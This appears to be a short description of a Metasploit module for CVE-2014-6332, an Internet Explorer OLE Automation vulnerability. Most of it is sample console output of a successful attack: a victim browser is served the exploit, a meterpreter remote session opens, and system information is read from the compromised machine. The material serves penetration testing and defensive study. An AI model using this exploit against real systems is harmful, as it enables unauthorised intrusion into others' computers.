module for CVE-2014-6332.

This module exploits Windows OLE Automation Array Vulnerability known as unicorn. 

This vulnerability is significant because it exploits an old bug present in Internet Explorer versions 3 through 11. This means that most, if not all, Internet Explorer users are vulnerable unless they are using patched systems.


Sample output:
[*] Using URL: http://192.168.xxx.yyy:80/e  
[*] Server started.

msf exploit(ms14_064_ole_code_execution) >
[*] 192.168.xxx.xxx   ms14_064_ole_code_execution - Requesting: /e
[*] 192.168.xxx.xxx   ms14_064_ole_code_execution - Detected Internet Explorer in version: 7
[*] 192.168.xxx.xxx:60725 Request received for /YvW6...
[*] 192.168.xxx.xxx:60725 Staging connection for target /YvW6 received...
[*] Patched user-agent at offset 664168...
[*] Patched transport at offset 663832...
[*] Patched URL at offset 663896...
[*] Patched Expiration Timeout at offset 664768...
[*] Patched Communication Timeout at offset 664772...

msf exploit(ms14_064_ole_code_execution) > sessions -l

Active sessions
===============

  Id  Type                   Information              Connection  
  --  ----                   -----------              ---------- 
  1   meterpreter x86/win32  XX\xxxxx @ YYYYYYYY      127.0.0.1 -> 192.168.xxx.xxx:60725 (192.168.xxx.xxx)
                                                                                
msf exploit(ms14_064_ole_code_execution) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : YYYYYYYY
OS              : Windows 7 (Build 7601, Service Pack 1). 
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter >